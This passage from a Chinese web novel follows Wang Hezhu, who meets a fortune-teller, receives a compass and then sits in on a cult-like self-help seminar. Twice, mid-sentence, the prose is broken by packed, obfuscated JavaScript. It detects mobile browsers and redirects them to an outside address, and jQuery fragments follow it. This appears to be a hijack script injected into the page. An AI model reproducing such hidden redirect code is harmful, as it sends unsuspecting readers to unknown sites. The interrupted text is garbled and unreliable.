“就是花钱。有钱花才能花钱，不是没有钱花，或者有钱却花不出去，是好命。” “这‘阴差阳错’，是说我会遇上坏姻缘？” “这是言情小说女主配置，你的人生会很精彩。” “那这血刃、丧门、灾煞又是何意？为何我这月柱日柱尽是这些，难道我有血光之灾，命不久矣？” “……你这网页算得不准，我来给你看看八字。” “那你看看吧。” 那卦姑低头掐算。她上了年纪，头发花白，但是面色红润，眉眼狭长，神态好似狐狸。 “我命如何？”那女子身体前倾，急切地望着道姑。 “我刚刚发现，这八字算命，可能还是有点局限性，幸好我略通‘紫薇斗数’，换个法子，再帮你算算。” 卦姑又掏出纸笔，写写画画。 “大师，可是我命不好？” “我觉得‘紫微斗数’也存在些许不足，毕竟这门技术自研发出来，没怎么改进过，我可以用六爻帮你卜卦。”那卦姑掏出几枚铜钱，开始捣鼓。 “大师可是算出什么了？” “其实我也学过一些西方塔罗占卜之术，”那卦姑捣鼓了一会儿，收起铜钱，不知从何处拿出一副纸牌，“正所谓博采众长，与时俱进，我今日一定要给你算出好命来。” “不，不用了。如果命途不好，也都是天定。” “倒也不是天定，工具的使用对规律的反映还是有些影响的。如果算出来是好命，就当是算准了，其他的，一律作乱算、瞎算处理。”卦姑把塔罗牌收入袖中，直起身子，正色道。 那年轻姑娘苦笑了一下，付了钱，摇着头走了。 “稍等。” “可还有什么嘱托。”那姑娘回头。 “不，我是说你身边那位，就是一身黑衣、看着像只小乌鸫的女孩。” “我吗？”王何驻指向自己。 “对，就你。你且坐过来。” 王何驻又坐到卦姑面前的凳子上。 “你命格特殊，尘世间实在难有好去处，可愿做我关门弟子。” “比起关门，我更想学点开门技术，”王何驻补充道，“开锁之类的。” “……”那卦姑被这突如其来的冷笑话沉默了一下，随后眨了眨眼睛，摸着下巴，问道，“在你看来，人生最大的遗憾是什么？” “一个麻辣口味爱好者，准备去川渝地区旅游，还提前做了美食攻略，抵达川渝那天，她的智齿发了炎，左右两腮都疼得厉害，只能喝些清淡的粥。” “这确实也足够遗憾的。” “你找我，可有什么问题。”王何驻问道。 “这话该是命理师问客人的。” “我没有问题。” “怎么可能会没有问题呢。即使是羿这样的人物，也有疑惑要问苍天吧。” “他有什么问题。”王何驻的眼睛变得犀利，认真打量着眼前这位卦姑。 王何驻盯着人的时候，总会让人感觉到不舒服，那眼神就像冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438740|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机械在剖析一个人，她自己也知道自己的毛病，是以有时会刻意闪避眼神，不在人身上停留太久，生怕让他人产生压力。那卦姑却没有在这种眼神下表露出丝毫不适，反而极惬意地将眼睛眯成了缝，似笑非笑地看着王何驻。 “你也听说过他的故事吧。他是个英雄，不折不扣的英雄。当然，他在恋情上表现得有些差劲，但这也没什么大不了的，比他还要差劲的，也不是没有。 羿是被神鸟养大的孩子，自幼长在天界，又被帝俊赐予神器‘彤弓素缯’。 帝俊明明看到了人与神决裂的未来，却偏偏给了他这把能弑神灭魂的弓箭，叫他回到俗世，帮扶下国，体恤民艰，直接给这样一位骁勇善战的英雄，划去了人类阵营。 羿带着帝俊的使命，按照祂的嘱托，去到凡间，斩妖除魔，平息灾厄，救苍生于水火。他的勇气和魄力确实值得尊敬，他的情商却不怎样，金乌之神作乱，他竟射落了九只。哈哈，他用帝俊赠送的弓箭，以践行帝俊嘱托为由，把帝俊的孩子给杀了。 他完成了伟业，杀死在下界发疯的封豕，用祂的肉来祭祀帝俊，却没有得到任何回应。他可能至死都想不明白，为什么自己按照帝俊的指示，用帝俊的馈赠，完成了祂交代自己的任务，却换不来祂的垂怜与庇护。他跪在祭坛前，捧着祭品，被雨淋了一身，却还像个傻子一样，向上天问道，您为何不高兴呢？ 换我看，金乌当年骑着封豕在天上为非作歹的时候，真该把羿撞一撞，醒醒脑子。” 那卦姑自顾自说着羿的故事，嘴角弯着，语气有些幸灾乐祸。 “所以，帝俊为什么不高兴呢？”王何驻真诚地发问。 “……你是真不知道，还是习惯了装傻？”卦姑的笑容差点褪色。 王何驻没有回答她的问题，她好像真的在认真思考什么，良久才道，“我确实很难理解帝俊。祂好像知道事情会如何发展，却从未出手制止，只是默许一却发生，甚至推波助澜，但是到最后，却又没有在本心上保持坚定。” “羿疑惑苍天没有给他答复，实际上苍天也有自己的疑惑，”那卦姑表情变得高深莫测起来，“我看你与我实在有缘，这罗盘，就送你了。” 卦姑又不知从哪掏出一只罗盘，递给王何驻。那罗盘表面光滑，涂了生漆，通体黑色，表面用金线画了几个同心圆，每层同心圆上之上分别写着阴阳八卦、天干地支。中间一根银色磁针，指着南北。 “有木迷榖，其华四照。失路之人，得悟何途，”那卦姑见王何驻接了罗盘，笑嘻嘻道，“这罗盘的指针，时灵时不灵的，若是不灵，你可要找个阳气重的东西，压一压它。” “谢谢。敢问阁下尊姓大名，我想我将来需要回您些礼。” “你的大礼有些叫人害怕，可别学羿那家伙。我姓胡。我们还会见面的。你且放心前去，心中不惑，明路自现。”那卦姑眉眼弯弯道。 王何驻离开卦摊，又突然想到自己还不会使用这罗盘，她回头张望，想要再问问清楚，却发现桥上已不见了卦姑与卦摊。 28. 天问篇·六 “人之所以罹患各种心理疾病，是因为内心的苦闷郁结于心，心中的疑惑得不到回答。 啊，亲人们啊，请允许我这么称呼你们，虽然我们带着不同的姓，来自不同的地方，却因为共同的信赖相聚在这里，这是多么值得称颂的缘分啊。 你们真正的亲人或许并不理解你们，不懂你们的痛苦，只一味地消耗，窃取你们的能量，但是，没关系，你选择了张魁导师，选择了‘魁星生命力’，在这里，我们将凭自己的力量获得的救赎，找到生命的答案。” 一个中年男子拿着麦克风，站在讲台上，激情四射声情并茂地演讲。他理了个锅盖头，穿着花衬衫与紧身裤，身材精瘦，声音却浑厚有力。 这种讲台，在过去，又被称为塾台，是教书先生授课的地方。王何驻此刻正坐在堂中，周围大概有三四十人，与她一道坐着听课。 过去从睦和村出走经商后发了财的富贾资助兴建了这座学堂。在生意场摸滚打爬的人最知道权与规则的妙用，是以衣锦还乡后总是修学堂，让宗族邻里的子孙后代，不论贫富贵贱，皆可诵读。端坐学堂的稚子他日若是功成名就，往后生意，也或有掌印人替他们开路，再不济，也能说上几句好话，或者找找关系。 这座学堂是二进三楹的样式，幽静雅致，窗梁都雕了花，此地的木刻技术是一绝，即便是公共学堂，也极尽雕琢。现在，这所学堂的使用权暂时交给了张魁团队，因为村中的话事人也是张魁的信徒。他们搬走了学堂的桌椅，让学员们席地而坐，却加高了讲台，让演讲的人在姿态上能够俯视台下众人。 “我知道有很多第一次上这门课的人，对我们团队还有一些不信任，这门课真的有那么神奇吗？当然，我们的张魁老师，张导，科院心理所硕士，英国塔维斯多克访问学者，在美国索菲亚大学读的博士，做过的个案时长总计超过两万小时，理论、资历都绝非一般人。 我们有学生，长颗瘤，跑了许多医院，都治不好，听了张导的课，学了他的“呼吸法”，那瘤竟然缩小了，再学下去，估计就能消失了！ 我们有很多忠实的学员，他们从这门课中获益，比如我们的刘律师啊，她和丈夫都在北京工作，夫妻之间，总爱较真，又怀不上孩子。学了我们的课程后，夫妻争吵少了，去年还生了个大胖小子，今天，她也来到了我们的现场。 我们还认识许多人啊，有钱的，有权的。但是，有钱有权又怎样，心里还是苦啊，都得来找张导疏导。 但我们的张导，不在乎名，也不在乎利，我们办这个课程，只为一件事——大爱。 亲人们啊，爱，是多么伟大的词汇，它是多少钱也买不来的，而我们愿意将我们的爱，交给你们。 我们的团队走了许多城市，开班教学，我们立志拯救上亿个破碎的家庭，把爱传递给所有不幸的人。 下面有请上过我们课的学生，来讲述一下自己的感受。” 一位打扮得体的中年女子接过了话筒，双眼含泪道：“起初我是不信的，以为张导和那些所谓的专家一样，都是骗子，但是我自己学了‘魁星生命力’后，发觉张导真的很不一样。 他长得是如此和蔼、亲切，他的话语是何等温柔、透彻。 我发现我的生活因此改变，我不再像过去那样斤斤计较，我学会了一种处之泰然的心态，‘随他去吧’。 之前，我的丈夫出轨了，我每日哭泣，不人不鬼，恨天憎地，张导告诉我‘随他去吧’，你只要过好自己就行了，不必为这些人苦恼，消耗自己的能量。我终于寻到了让我一颗心安下来的法子。那男人，爱怎样就怎样吧，为他哭泣，根本不值得。 张导是我幽暗人生的一束光，‘魁星生命力’激活了我的内在生命力。我愿意追随张导，他在哪上课，我就飞去哪找他。” “说起追随张导上课，我们还有从加拿大特地飞来的客人——郑阿姨，今年已经七十多岁了，听过两次课，这是第三次，她可是个好人啊，到处做慈善，资助贫困学子。”锅盖头男子笑着朝那快要哭出来的女子点了点头，四指并拢，往下按了按，示意她坐下，又向人群中伸出手，作出邀请的姿势。 一位优雅的老太太站了起来，她的头发全都染了白色，穿着人工刺绣旗袍，妆容华贵，周身气度很是不凡，披肩上的流苏随着她招手而摇晃。大家一起为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442641|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓掌，她又从容坐下。那坐姿也是极为板正。 “这位女士，你看起来是生面孔，第一次来我们‘魁星生命力’吧？” 被突然点到的王何驻有点懵，却还是点了点头。 她本在收走神怪魂魄与处理胡为秋的事间犹豫不决，那日在桥上遇见卦姑后，下定决心，先摸摸这“魁星生命力”的底细。没想到那卦姑送她的罗盘，在她到达睦和村后，其上金线描摹的文字竟都发起光来。她知道，她来对了。 “你来我们这，是心中有什么困惑？想让张魁导师解决什么问题？” 王何驻皱了皱眉，说道：“没有。” “没有问题？我看不是没有，是你的心理防御机制实在太高。没事，在之后的日子里，我们会让你敞开心扉。” “我刚刚想到一个问题。” “请大胆说出你的问题。” “上你们的课，如果觉得效果不如意，学费会退给我吗？” 锅盖头的笑容在他面部肌肉的努力下还是维持住了，他笑道：“你还没上，就考虑这些问题，未免有些武断了。你把课上下去，会发现不同的。多少人要报名我们的线下课，都抢不到一个名额，还得托关系。你既然报了，就要珍惜这机会。” 他虽然笑着，眼神却很凶。 “会全额退款吗？”王何驻一旦专注于一个问题，从来不管他人什么反应。 锅盖头没理王何驻，只大声宣布道：“让我们用热烈的掌声，欢迎我们的张导，张魁老师！” 音箱放起了激昂的音乐，一位上身穿红色马褂，下身穿灰麻布长裤，大腹便便的中年男子，步履稳健地走入厅堂。他脑袋浑圆，天庭饱满，五官端正，眼角下垂，像是在笑，看起来慈眉善目。 他往太师椅上坐下，气度从容。他开口，王何驻便知道，此人专门训练过公开演讲，他的语气比那锅盖头更沉稳冷静，咬字清晰，断句能够恰到好处地挑起听众的情绪而不显得浮夸。 他态度谦虚道：“小李啊，这排场，属实有些夸张了。面对我们的学生，大可不必如此，我只是个普通的心理老师，只想通过自己的技术帮助需要帮助的人。”